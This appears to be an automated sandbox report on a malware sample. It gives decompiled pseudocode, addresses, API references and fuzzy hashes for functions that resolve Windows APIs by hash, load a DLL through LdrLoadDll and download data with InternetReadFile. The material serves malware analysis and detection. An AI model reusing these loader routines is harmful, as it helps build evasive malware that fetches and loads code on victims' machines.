Opcode Fuzzy Hash: d9136364abe1b631444e45f683b32dc0491a4f9230ee464a8f2aab42ea0978ac
Instruction Fuzzy Hash: 20521930604342DBEB648F9DC9A47DE77A9AFB1308F14862DD4A99B3C5DB34C886C791

Uniqueness

Uniqueness Score: -1.00%

Function 6ED46C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6ED46C50(signed int __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t135;
				intOrPtr _t138;
				void* _t143;
				void* _t147;
				void* _t151;
				struct _OBJDIR_INFORMATION _t164;
				void* _t170;
				intOrPtr _t183;
				struct _OBJDIR_INFORMATION _t197;
				struct _OBJDIR_INFORMATION _t206;
				long _t212;
				void* _t215;
				intOrPtr _t246;
				signed int _t278;
				signed int _t279;
				void* _t281;
				intOrPtr _t282;
				void* _t291;
				void* _t340;
				struct _OBJDIR_INFORMATION _t342;
				intOrPtr _t345;
				struct _OBJDIR_INFORMATION _t363;
				intOrPtr _t366;
				struct _OBJDIR_INFORMATION _t382;
				struct _OBJDIR_INFORMATION _t389;
				struct _OBJDIR_INFORMATION _t390;
				struct _OBJDIR_INFORMATION _t391;
				intOrPtr* _t394;
				void* _t395;
				intOrPtr* _t397;
				void* _t398;
				void* _t399;
				void* _t401;
				void* _t402;
				void* _t404;
				void* _t405;
				void* _t406;
				short* _t407;
				void* _t408;
				void* _t410;
				void* _t411;
				intOrPtr _t412;
				intOrPtr* _t413;
				short* _t418;
				void* _t420;
				void* _t421;
				intOrPtr* _t422;
				void* _t424;
				void* _t425;
				struct _OBJDIR_INFORMATION* _t426;

				_t278 = __ecx;
				E6ED48810(_t426 + 0x2c8, 0);
				E6ED48810(_t426 + 0x2d0, 0);
				_t135 = E6ED43930(__ecx, 0, _t399, _t406); // executed
				_t412 =  *0x6ed6b208;
				if( *((char*)(_t135 + 0xb)) == 0x40) {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t413 = E6ED41030();
						_t426 = _t426 + 4;
						if(_t413 == 0) {
							_t413 = 0;
						} else {
							_t122 = _t413 + 8; // 0x8
							 *_t413 = 0;
							 *((intOrPtr*)(_t413 + 4)) = 0;
							E6ED48810(_t122, 0);
							_t124 = _t413 + 0x10; // 0x10
							E6ED48810(_t124, 0);
							_t125 = _t413 + 0x18; // 0x18
							E6ED48810(_t125, 0);
							_t126 = _t413 + 0x20; // 0x20
							E6ED48810(_t126, 0);
							_t127 = _t413 + 0x28; // 0x28
							E6ED48810(_t127, 0);
							_t128 = _t413 + 0x30; // 0x30
							E6ED48810(_t128, 0);
							_t129 = _t413 + 0x38; // 0x38
							E6ED48810(_t129, 0);
							_t130 = _t413 + 0x40; // 0x40
							E6ED48810(_t130, 0);
							_t131 = _t413 + 0x48; // 0x48
							E6ED48810(_t131, 0);
							_t410 = 6;
							_t132 = _t413 + 0x50; // 0x50
							_t404 = _t132;
							do {
								E6ED48810(_t404, 0);
								_t404 = _t404 + 8;
								_t410 = _t410 - 1;
							} while (_t410 != 0);
						}
						 *0x6ed6b208 = _t413;
					}
					if(E6ED49DC0(_t413 + 0x38) != 0) {
						E6ED48810(_t426 + 0x26c, 0x80);
						_t342 =  *0x6ed6b1f4; // 0xb71340
						if(_t342 == 0xc139578) {
							 *0x6ed6b1f4 = 0;
							goto L86;
						} else {
							if(_t342 == 0) {
								L86:
								_push(0xa1310f65);
								_t420 = E6ED47564(0xa1310f65);
								if(_t420 == 0) {
									if(E6ED46C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t420 = E6ED47564(0xa1310f65);
									}
								}
								if(_t420 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t394 = E6ED467C8(_t420, 0x7c2e142f);
									goto L89;
								}
							} else {
								do {
									_t421 = 0;
									_t395 = 0;
									while( *((intOrPtr*)(_t395 + _t342 + 8)) != 0x7c2e142f) {
										_t421 = _t421 + 1;
										_t395 = _t395 + 0x18;
										if(_t421 < 0x10) {
											continue;
										} else {
											goto L85;
										}
										goto L91;
									}
									_t394 =  *((intOrPtr*)(_t395 + _t342 + 0x14));
									if(_t394 != 0) {
										L89:
										if(_t394 != 0) {
											 *_t394( *(_t426 + 0x26c),  *(_t426 + 0x26c) >> 1);
										}
									} else {
										goto L86;
									}
									goto L91;
									L85:
									asm("o16 nop [eax+eax]");
									_t109 = _t342 + 0x180; // 0xb78e68
									_t342 =  *_t109;
								} while (_t342 != 0);
								goto L86;
							}
						}
						L91:
						if(( *(E6ED49DE0(_t426 + 0x268)) & 0x0000ffff) != 0x5c) {
							E6ED496D0(_t426 + 0x26c, 0x5c);
						}
						_t345 =  *0x6ed6b208; // 0xb778a8
						E6ED48CC0(_t345 + 0x38,  *((intOrPtr*)(_t426 + 0x268)));
						E6ED48CA0(_t426 + 0x268);
					}
					_t138 =  *0x6ed6b208; // 0xb778a8
					E6ED488C0(_t426 + 0x274, _t138 + 0x38);
					E6ED48CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x270)));
					_t291 = _t426 + 0x270;
				} else {
					if(_t412 == 0x228324a5) {
						_push(0x80);
						_t422 = E6ED41030();
						_t426 = _t426 + 4;
						if(_t422 == 0) {
							_t422 = 0;
						} else {
							_t95 = _t422 + 8; // 0x8
							 *_t422 = 0;
							 *((intOrPtr*)(_t422 + 4)) = 0;
							E6ED48810(_t95, 0);
							_t97 = _t422 + 0x10; // 0x10
							E6ED48810(_t97, 0);
							_t98 = _t422 + 0x18; // 0x18
							E6ED48810(_t98, 0);
							_t99 = _t422 + 0x20; // 0x20
							E6ED48810(_t99, 0);
							_t100 = _t422 + 0x28; // 0x28
							E6ED48810(_t100, 0);
							_t101 = _t422 + 0x30; // 0x30
							E6ED48810(_t101, 0);
							_t102 = _t422 + 0x38; // 0x38
							E6ED48810(_t102, 0);
							_t103 = _t422 + 0x40; // 0x40
							E6ED48810(_t103, 0);
							_t104 = _t422 + 0x48; // 0x48
							E6ED48810(_t104, 0);
							_t411 = 6;
							_t105 = _t422 + 0x50; // 0x50
							_t405 = _t105;
							do {
								E6ED48810(_t405, 0);
								_t405 = _t405 + 8;
								_t411 = _t411 - 1;
							} while (_t411 != 0);
						}
						 *0x6ed6b208 = _t422;
					}
					if(E6ED49DC0(_t422 + 0x30) != 0) {
						E6ED48810(_t426 + 0x27c, 0x80);
						_t363 =  *0x6ed6b1f4; // 0xb71340
						if(_t363 == 0xc139578) {
							 *0x6ed6b1f4 = 0;
							goto L10;
						} else {
							if(_t363 == 0) {
								L10:
								_push(0xa1310f65);
								_t424 = E6ED47564(0xa1310f65);
								if(_t424 == 0) {
									if(E6ED46C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t424 = E6ED47564(0xa1310f65);
									}
								}
								if(_t424 != 0) {
									_t426 = _t426 + 0xfffffff8;
									_t397 = E6ED467C8(_t424, 0x4ade4070);
									goto L13;
								}
							} else {
								do {
									_t425 = 0;
									_t398 = 0;
									while( *((intOrPtr*)(_t398 + _t363 + 8)) != 0x4ade4070) {
										_t425 = _t425 + 1;
										_t398 = _t398 + 0x18;
										if(_t425 < 0x10) {
											continue;
										} else {
											goto L9;
										}
										goto L15;
									}
									_t397 =  *((intOrPtr*)(_t398 + _t363 + 0x14));
									if(_t397 != 0) {
										L13:
										if(_t397 != 0) {
											 *_t397( *(_t426 + 0x27c),  *(_t426 + 0x27c) >> 1);
										}
										goto L15;
									} else {
										goto L10;
									}
									L106:
									L9:
									asm("o16 nop [eax+eax]");
									_t7 = _t363 + 0x180; // 0xb78e68
									_t363 =  *_t7;
								} while (_t363 != 0);
								goto L10;
							}
						}
						L15:
						if(( *(E6ED49DE0(_t426 + 0x278)) & 0x0000ffff) != 0x5c) {
							E6ED496D0(_t426 + 0x27c, 0x5c);
						}
						_t366 =  *0x6ed6b208; // 0xb778a8
						E6ED48CC0(_t366 + 0x30,  *((intOrPtr*)(_t426 + 0x278)));
						E6ED48CA0(_t426 + 0x278);
					}
					_t246 =  *0x6ed6b208; // 0xb778a8
					E6ED488C0(_t426 + 0x2c0, _t246 + 0x30);
					E6ED48CC0(_t426 + 0x2c8,  *((intOrPtr*)(_t426 + 0x2bc)));
					_t291 = _t426 + 0x2bc;
				}
				E6ED48CA0(_t291);
				_t143 = E6ED50220(_t426 + 0x2d4,  *((intOrPtr*)(_t426 + 0x2c8)), 0);
				E6ED48810(_t426 + 0x2d8, 0x2800);
				_t407 =  *((intOrPtr*)(_t426 + 0x2d4));
				 *_t407 = 0;
				E6ED59470(_t426 + 0x2ac, 0x6ed6a1a0, 0x28);
				_t147 = E6ED59640(_t426 + 0x2a8, 0);
				E6ED5E780(_t278, _t147, E6ED59650(_t426 + 0x2a4));
				 *((intOrPtr*)(_t426 + 0x294)) = _t407;
				 *((char*)(_t426 + 0x290)) = 0;
				 *((intOrPtr*)(_t426 + 0x298)) = 0;
				 *((intOrPtr*)(_t426 + 0x29c)) = 2;
				 *((char*)(_t426 + 0x2a0)) = 1;
				_t151 = E6ED59640(_t426 + 0x2a8, 0);
				_push(_t426 + 0x290);
				_push(E6ED47CD0);
				_push(0);
				_push(0x7fffffff);
				_push(0x6ed6a1c8);
				E6ED5E5D0(_t151, 0x28, _t407);
				E6ED59510(_t426 + 0x2a4);
				E6ED50220(_t143,  *((intOrPtr*)(_t426 + 0x2d8)), 0);
				E6ED48CA0(_t426 + 0x2d4);
				 *_t426 = 0;
				 *(_t426 + 4) = 1;
				 *((intOrPtr*)(_t426 + 8)) = 0;
				 *((intOrPtr*)(_t426 + 0xc)) = 3;
				E6ED48AB0(_t426 + 0x18,  *((intOrPtr*)(_t426 + 0x2d0)), 0);
				_push(1);
				if(E6ED5CEA0(_t278, _t426 + 4, 0x28, _t143, _t407) == 0) {
					L53:
					E6ED48CA0(_t426 + 0x10);
					if( *(_t426 + 4) != 0) {
						_t382 =  *_t426;
						if(_t382 == 0 || _t382 == 0xffffffff) {
							_t164 = 1;
						} else {
							_t164 = 0;
						}
						if(_t164 == 0) {
							E6ED5CE70(_t382);
						}
					}
					 *_t426 = 0;
					E6ED48CA0(_t426 + 0x2cc);
					E6ED48CA0(_t426 + 0x2c4);
					return 0;
				} else {
					_t279 = _t278 ^ 0x38ba5c7b;
					_t408 = _t426 + 0x44;
					_t401 = _t426 + 0x2e8;
					while(1) {
						E6ED48AB0(_t426 + 0x2e8, _t408, 0);
						E6ED49E70(_t426 + 0x2e4, _t401);
						E6ED483B0(_t426 + 0x2f0);
						_t170 = E6ED5D620( *((intOrPtr*)(_t426 + 0x2f0)), E6ED56040( *((intOrPtr*)(_t426 + 0x2f0)), 0x7fffffff));
						E6ED50B10(_t426 + 0x2f0);
						if(_t279 == _t170) {
							break;
						}
						E6ED48CA0(_t401);
						E6ED48CA0(_t426 + 0x2e0);
						if(E6ED5D0E0(_t426) != 0) {
							continue;
						} else {
							goto L53;
						}
						goto L106;
					}
					E6ED48CA0(_t401);
					E6ED488C0(_t426 + 0x2b8, _t426 + 0x2c4);
					E6ED50220(_t426 + 0x2bc,  *((intOrPtr*)(_t426 + 0x2e4)), 0);
					_t409 =  *((intOrPtr*)(_t426 + 0x2b4));
					_push(E6ED50180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff,  *((intOrPtr*)(_t426 + 0x2b4))) + _t179 + 0xa);
					E6ED59350(_t426 + 0x284);
					_t418 = E6ED59640(_t426 + 0x284, 0);
					_t183 = E6ED59640(_t426 + 0x284, 8);
					_t402 = E6ED50180( *((intOrPtr*)(_t426 + 0x2b4)), 0x7fffffff, _t409);
					 *((intOrPtr*)(_t418 + 4)) = _t183;
					 *_t418 = _t402 + _t402;
					 *((short*)(_t418 + 2)) = _t402 + _t402 + 2;
					E6ED501B0(_t183, _t409, _t402 + _t402 + 2, _t409, 0);
					_t389 =  *0x6ed6b1f4; // 0xb71340
					 *(_t426 + 0x2dc) = 0;
					if(_t389 == 0xc139578) {
						 *0x6ed6b1f4 = 0;
						goto L29;
					} else {
						if(_t389 == 0) {
							L29:
							_push(0x588ab3ea);
							_t281 = E6ED47564(0x588ab3ea);
							if(_t281 == 0) {
								if(E6ED46C50(0x588ab3ea) != 0) {
									_push(0x588ab3ea);
									_t281 = E6ED47564(0x588ab3ea);
								}
							}
							if(_t281 == 0) {
								goto L43;
							} else {
								_t426 = _t426 + 0xfffffff8;
								_t282 = E6ED467C8(_t281, 0x208c2589);
								goto L32;
							}
						} else {
							do {
								_t340 = 0;
								_t215 = 0;
								while( *((intOrPtr*)(_t215 + _t389 + 8)) != 0x208c2589) {
									_t340 = _t340 + 1;
									_t215 = _t215 + 0x18;
									if(_t340 < 0x10) {
										continue;
									} else {
										goto L28;
									}
									goto L106;
								}
								_t282 =  *((intOrPtr*)(_t215 + _t389 + 0x14));
								if(_t282 != 0) {
									L32:
									if(_t282 == 0) {
										L43:
										if( *(_t426 + 0x2dc) == 0) {
											goto L35;
										} else {
											goto L44;
										}
									} else {
										_t212 = LdrLoadDll(0, 0, E6ED59640(_t426 + 0x284, 0), _t426 + 0x2dc); // executed
										if( *(_t426 + 0x2dc) == 0 || _t212 != 0) {
											L35:
											E6ED59510(_t426 + 0x280);
											E6ED48CA0(_t426 + 0x2b4);
											E6ED48CA0(_t426 + 0x2e0);
											E6ED48CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t390 =  *_t426;
												if(_t390 == 0 || _t390 == 0xffffffff) {
													_t197 = 1;
												} else {
													_t197 = 0;
												}
												if(_t197 == 0) {
													E6ED5CE70(_t390);
												}
											}
											 *_t426 = 0;
											E6ED48CA0(_t426 + 0x2cc);
											E6ED48CA0(_t426 + 0x2c4);
											return 0;
										} else {
											L44:
											E6ED59510(_t426 + 0x280);
											E6ED48CA0(_t426 + 0x2b4);
											E6ED48CA0(_t426 + 0x2e0);
											E6ED48CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t391 =  *_t426;
												if(_t391 == 0 || _t391 == 0xffffffff) {
													_t206 = 1;
												} else {
													_t206 = 0;
												}
												if(_t206 == 0) {
													E6ED5CE70(_t391);
												}
											}
											 *_t426 = 0;
											E6ED48CA0(_t426 + 0x2cc);
											E6ED48CA0(_t426 + 0x2c4);
											return 1;
										}
									}
								} else {
									goto L29;
								}
								goto L106;
								L28:
								asm("o16 nop [eax+eax]");
								_t67 = _t389 + 0x180; // 0xb78e68
								_t389 =  *_t67;
							} while (_t389 != 0);
							goto L29;
						}
					}
				}
				goto L106;
			}

0x6ed46c5a
0x6ed46c65
0x6ed46c73
0x6ed46c7a
0x6ed46c7f
0x6ed46c89
0x6ed4735c
0x6ed474c4
0x6ed474ce
0x6ed474d0
0x6ed474d5
0x6ed47551
0x6ed474d7
0x6ed474d9
0x6ed474dd
0x6ed474e0
0x6ed474e3
0x6ed474ea
0x6ed474ed
0x6ed474f4
0x6ed474f7
0x6ed474fe
0x6ed47501
0x6ed47508
0x6ed4750b
0x6ed47512
0x6ed47515
0x6ed4751c
0x6ed4751f
0x6ed47526
0x6ed47529
0x6ed47530
0x6ed47533
0x6ed47538
0x6ed4753d
0x6ed4753d
0x6ed47540
0x6ed47544
0x6ed47549
0x6ed4754c
0x6ed4754c
0x6ed4754f
0x6ed47553
0x6ed47553
0x6ed4736e
0x6ed47380
0x6ed47385
0x6ed47391
0x6ed474b5
0x00000000
0x6ed47397
0x6ed47399
0x6ed473c8
0x6ed473cd
0x6ed473d3
0x6ed473d7
0x6ed4748c
0x6ed47497
0x6ed4749d
0x6ed4749d
0x6ed4748c
0x6ed473df
0x6ed473e8
0x6ed473f0
0x00000000
0x6ed473f0
0x6ed4739b
0x6ed4739d
0x6ed4739d
0x6ed4739f
0x6ed473a1
0x6ed473af
0x6ed473b0
0x6ed473b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed473b6
0x6ed474a4
0x6ed474aa
0x6ed473f2
0x6ed473f4
0x6ed47407
0x6ed47407
0x6ed474b0
0x00000000
0x6ed474b0
0x00000000
0x6ed473b8
0x6ed473b8
0x6ed473be
0x6ed473be
0x6ed473c4
0x00000000
0x6ed4739d
0x6ed47399
0x6ed47409
0x6ed4741b
0x6ed47426
0x6ed47426
0x6ed4742b
0x6ed4743b
0x6ed47447
0x6ed47447
0x6ed4744c
0x6ed4745c
0x6ed4746f
0x6ed47474
0x6ed46c8f
0x6ed46c95
0x6ed472bc
0x6ed472c6
0x6ed472c8
0x6ed472cd
0x6ed47349
0x6ed472cf
0x6ed472d1
0x6ed472d5
0x6ed472d8
0x6ed472db
0x6ed472e2
0x6ed472e5
0x6ed472ec
0x6ed472ef
0x6ed472f6
0x6ed472f9
0x6ed47300
0x6ed47303
0x6ed4730a
0x6ed4730d
0x6ed47314
0x6ed47317
0x6ed4731e
0x6ed47321
0x6ed47328
0x6ed4732b
0x6ed47330
0x6ed47335
0x6ed47335
0x6ed47338
0x6ed4733c
0x6ed47341
0x6ed47344
0x6ed47344
0x6ed47347
0x6ed4734b
0x6ed4734b
0x6ed46ca7
0x6ed46cb9
0x6ed46cbe
0x6ed46cca
0x6ed472ad
0x00000000
0x6ed46cd0
0x6ed46cd2
0x6ed46d01
0x6ed46d06
0x6ed46d0c
0x6ed46d10
0x6ed47284
0x6ed4728f
0x6ed47295
0x6ed47295
0x6ed47284
0x6ed46d18
0x6ed46d21
0x6ed46d29
0x00000000
0x6ed46d29
0x6ed46cd4
0x6ed46cd6
0x6ed46cd6
0x6ed46cd8
0x6ed46cda
0x6ed46ce8
0x6ed46ce9
0x6ed46cef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed46cef
0x6ed4729c
0x6ed472a2
0x6ed46d2b
0x6ed46d2d
0x6ed46d40
0x6ed46d40
0x00000000
0x6ed472a8
0x00000000
0x6ed472a8
0x00000000
0x6ed46cf1
0x6ed46cf1
0x6ed46cf7
0x6ed46cf7
0x6ed46cfd
0x00000000
0x6ed46cd6
0x6ed46cd2
0x6ed46d42
0x6ed46d54
0x6ed46d5f
0x6ed46d5f
0x6ed46d64
0x6ed46d74
0x6ed46d80
0x6ed46d80
0x6ed46d85
0x6ed46d95
0x6ed46da8
0x6ed46dad
0x6ed46dad
0x6ed46db4
0x6ed46dc9
0x6ed46ddc
0x6ed46de1
0x6ed46df1
0x6ed46dfb
0x6ed46e09
0x6ed46e20
0x6ed46e27
0x6ed46e2e
0x6ed46e35
0x6ed46e3c
0x6ed46e47
0x6ed46e57
0x6ed46e6a
0x6ed46e6b
0x6ed46e70
0x6ed46e72
0x6ed46e77
0x6ed46e7c
0x6ed46e88
0x6ed46e98
0x6ed46ea4
0x6ed46eab
0x6ed46eae
0x6ed46eb3
0x6ed46eb7
0x6ed46ecb
0x6ed46ed0
0x6ed46edd
0x6ed471d9
0x6ed471dd
0x6ed471e7
0x6ed471e9
0x6ed471ee
0x6ed471f9
0x6ed471f5
0x6ed471f5
0x6ed471f5
0x6ed47200
0x6ed47203
0x6ed47203
0x6ed47200
0x6ed47208
0x6ed47216
0x6ed47222
0x6ed47233
0x6ed46ee3
0x6ed46ee3
0x6ed46ee9
0x6ed46eed
0x6ed46ef4
0x6ed46efe
0x6ed46f0b
0x6ed46f1e
0x6ed46f3a
0x6ed46f48
0x6ed46f4f
0x00000000
0x00000000
0x6ed471b8
0x6ed471c4
0x6ed471d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed471d3
0x6ed46f57
0x6ed46f6b
0x6ed46f80
0x6ed46f85
0x6ed46f9c
0x6ed46fa4
0x6ed46fb7
0x6ed46fc2
0x6ed46fd5
0x6ed46fdd
0x6ed46fe3
0x6ed46feb
0x6ed46fef
0x6ed46ff4
0x6ed46ffa
0x6ed4700b
0x6ed47269
0x00000000
0x6ed47011
0x6ed47013
0x6ed47042
0x6ed47047
0x6ed4704d
0x6ed47051
0x6ed47240
0x6ed4724b
0x6ed47251
0x6ed47251
0x6ed47240
0x6ed47059
0x00000000
0x6ed4705f
0x6ed47066
0x6ed4706e
0x00000000
0x6ed4706e
0x6ed47015
0x6ed47017
0x6ed47017
0x6ed47019
0x6ed4701b
0x6ed47029
0x6ed4702a
0x6ed47030
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed47030
0x6ed47258
0x6ed4725e
0x6ed47070
0x6ed47072
0x6ed47126
0x6ed4712e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed47078
0x6ed47093
0x6ed4709d
0x6ed470a7
0x6ed470ae
0x6ed470ba
0x6ed470c6
0x6ed470cf
0x6ed470d9
0x6ed470db
0x6ed470e0
0x6ed470eb
0x6ed470e7
0x6ed470e7
0x6ed470e7
0x6ed470f2
0x6ed470f5
0x6ed470f5
0x6ed470f2
0x6ed470fa
0x6ed47108
0x6ed47114
0x6ed47125
0x6ed47134
0x6ed47134
0x6ed4713b
0x6ed47147
0x6ed47153
0x6ed4715c
0x6ed47166
0x6ed47168
0x6ed4716d
0x6ed47178
0x6ed47174
0x6ed47174
0x6ed47174
0x6ed4717f
0x6ed47182
0x6ed47182
0x6ed4717f
0x6ed47187
0x6ed47195
0x6ed471a1
0x6ed471b5
0x6ed471b5
0x6ed4709d
0x6ed47264
0x00000000
0x6ed47264
0x00000000
0x6ed47032
0x6ed47032
0x6ed47038
0x6ed47038
0x6ed4703e
0x00000000
0x6ed47017
0x6ed47013
0x6ed4700b
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000000,?,00000000), ref: 6ED47093

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 87f1c43a0c13801e5fcc94eb31c550436994b7bc95bf4e20f0b18f49364072d9
Instruction ID: 4c852b36561bc2311bbe39fb974ef69f3d56b4cde350eb36a01459c99ca8bdc3
Opcode Fuzzy Hash: 87f1c43a0c13801e5fcc94eb31c550436994b7bc95bf4e20f0b18f49364072d9
Instruction Fuzzy Hash: 4B22C734215345EBDB64EBE4CC94BEE73A8AFA0348F504D2DE4594B2D0EF719905C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED639F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6ED639F9(void* __eax, signed int __ebx, void* __edi) {
				long _t42;
				void* _t60;
				long _t63;
				long _t64;
				void* _t79;
				void* _t81;
				signed int _t86;
				void* _t124;
				void* _t128;
				void* _t133;
				long* _t134;
				void* _t139;

				_t124 = __edi;
				_t86 = __ebx;
				if(__eax == 0) {
					_t42 = E6ED47F00();
					__eflags = _t42;
					if(_t42 != 0) {
						 *_t134 = _t42;
						E6ED48CA0(_t139 + 0x34);
						E6ED48CA0(_t139 + 0x44);
						goto L14;
					} else {
						goto L1;
					}
				} else {
					L1:
					E6ED483B0(_t139 + 0x2c);
					E6ED50B30(_t139 + 0x40,  *((intOrPtr*)(_t139 + 0x34)),  *((intOrPtr*)(_t139 + 0x2c)));
					E6ED50B10(_t139 + 0x2c);
					_t130 = _t139;
					E6ED550A0(_t139 + 0x44, _t139, 0x6ed69424);
					E6ED53B00(_t86, _t130);
					E6ED57560(_t130, _t124, _t130);
					 *((char*)( *((intOrPtr*)(E6ED57600(_t86, 0))))) = 0;
					_t143 = _t134[0xa] - 1;
					if(_t134[0xa] > 1) {
						 *(_t139 + 0xc) = _t134;
						_t128 = 1;
						_t133 = _t139 + 0x54;
						while(1) {
							_t79 = E6ED57600(_t86, _t128);
							_push(1);
							_push(0x6ed6a9e0);
							E6ED41BA0(_t143, _t133);
							_t81 = E6ED50ED0(_t79, _t128,  *((intOrPtr*)(_t139 + 0x54)));
							E6ED50B10(_t133);
							if(_t81 != 0) {
								break;
							}
							_t128 = _t128 + 1;
							if(_t128 <  *_t86) {
								continue;
							} else {
								_t134 =  *(_t139 + 0xc);
							}
							goto L6;
						}
						_t134 =  *(_t139 + 0xc);
						 *((char*)( *((intOrPtr*)(E6ED57600(_t86, _t128))))) = 0;
					}
					L6:
					E6ED53EC0(_t86);
					_push(0);
					E6ED59350(_t139 + 0x10);
					_push(0x2800);
					E6ED59350(_t139 + 0x20);
					while(1) {
						 *(_t139 + 0x5c) = 0;
						if(E6ED415C0(0xd27f045a, 0x547ac48e) == 0) {
							break;
						}
						_t60 = E6ED59640(_t139 + 0x20, 0);
						_t63 = InternetReadFile(_t134[4], _t60, E6ED59650(_t139 + 0x1c), _t139 + 0x5c); // executed
						__eflags = _t63;
						if(_t63 == 0) {
							_t64 = E6ED47F00();
							__eflags = _t64;
							if(_t64 != 0) {
								L9:
								 *_t134 = _t64;
								E6ED59510(_t139 + 0x1c);
								E6ED59510(_t139 + 0xc);
								E6ED48CA0(_t139 + 0x34);
								E6ED48CA0(_t139 + 0x44);
								L14:
								E6ED50B10(_t139 + 0x3c);
								_push(0);
								E6ED59350( *((intOrPtr*)(_t139 + 0x78)));
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								goto L11;
							}
						} else {
							L11:
							__eflags =  *(_t139 + 0x5c);
							if( *(_t139 + 0x5c) == 0) {
								_push(_t139 + 0xc);
								E6ED593D0( *((intOrPtr*)(_t139 + 0x78)));
								E6ED59510(_t139 + 0x1c);
								E6ED59510(_t139 + 0xc);
								E6ED48CA0(_t139 + 0x34);
								E6ED48CA0(_t139 + 0x44);
								E6ED50B10(_t139 + 0x3c);
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								E6ED59710(_t139 + 0x14, E6ED59640(_t139 + 0x20, 0),  *(_t139 + 0x5c));
								continue;
							}
						}
						goto L22;
					}
					_t64 = 0x7f;
					goto L9;
				}
				L22:
			}

0x6ed639f9
0x6ed639f9
0x6ed639fb
0x6ed63c44
0x6ed63c49
0x6ed63c4b
0x6ed63b6d
0x6ed63b74
0x6ed63b7d
0x00000000
0x6ed63c51
0x00000000
0x6ed63c51
0x6ed63a01
0x6ed63a01
0x6ed63a09
0x6ed63a16
0x6ed63a1f
0x6ed63a24
0x6ed63a31
0x6ed63a39
0x6ed63a40
0x6ed63a50
0x6ed63a53
0x6ed63a57
0x6ed63a59
0x6ed63a5d
0x6ed63a62
0x6ed63a66
0x6ed63a69
0x6ed63a70
0x6ed63a72
0x6ed63a78
0x6ed63a83
0x6ed63a8c
0x6ed63a95
0x00000000
0x00000000
0x6ed63a9b
0x6ed63a9e
0x00000000
0x6ed63aa0
0x6ed63aa0
0x6ed63aa0
0x00000000
0x6ed63a9e
0x6ed63c30
0x6ed63c3c
0x6ed63c3c
0x6ed63aa4
0x6ed63aa6
0x6ed63aab
0x6ed63ab1
0x6ed63ab6
0x6ed63abf
0x6ed63ac4
0x6ed63ac4
0x6ed63adf
0x00000000
0x00000000
0x6ed63b1b
0x6ed63b35
0x6ed63b37
0x6ed63b39
0x6ed63c1c
0x6ed63c21
0x6ed63c23
0x6ed63ae6
0x6ed63ae6
0x6ed63aed
0x6ed63af6
0x6ed63aff
0x6ed63b08
0x6ed63bb1
0x6ed63bb5
0x6ed63bba
0x6ed63bc0
0x6ed63bd0
0x6ed63c29
0x00000000
0x6ed63c29
0x6ed63b3f
0x6ed63b3f
0x6ed63b3f
0x6ed63b44
0x6ed63bd7
0x6ed63bdc
0x6ed63be5
0x6ed63bee
0x6ed63bf7
0x6ed63c00
0x6ed63c09
0x6ed63c19
0x6ed63b4a
0x6ed63b5e
0x00000000
0x6ed63b5e
0x6ed63b44
0x00000000
0x6ed63b39
0x6ed63ae1
0x00000000
0x6ed63ae1
0x00000000

APIs

InternetReadFile.WININET(?,00000000,00000000,00000000,00000000,D27F045A,547AC48E), ref: 6ED63B35

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 076bf1e1f5a508c541a6173fc38d812c6f68ace5b12a5910df42117b8618ca56
Instruction ID: 3c8f499ed8bddb3d290bc9028a2492489ad994fb8a94fa2cf9ac112e86d7f29e
Opcode Fuzzy Hash: 076bf1e1f5a508c541a6173fc38d812c6f68ace5b12a5910df42117b8618ca56
Instruction Fuzzy Hash: 1A51FE312182049FDB05EFA4C8A0AEFB3A8AF91748F504D2DF59557290EF71D919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED422A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6ED422A0(void* __ecx, intOrPtr __edx) {
				intOrPtr* _v8;
				intOrPtr _v24;
				intOrPtr* _t10;
				void* _t13;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr* _t22;
				intOrPtr* _t23;
				intOrPtr* _t24;

				_t19 = __edx;
				_t24 =  &_v8;
				if(__ecx == 0) {
					 *_t24 = 0;
					_v8 = 0;
				} else {
					 *_t24 = E6ED41230(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v24 = _t19;
				}
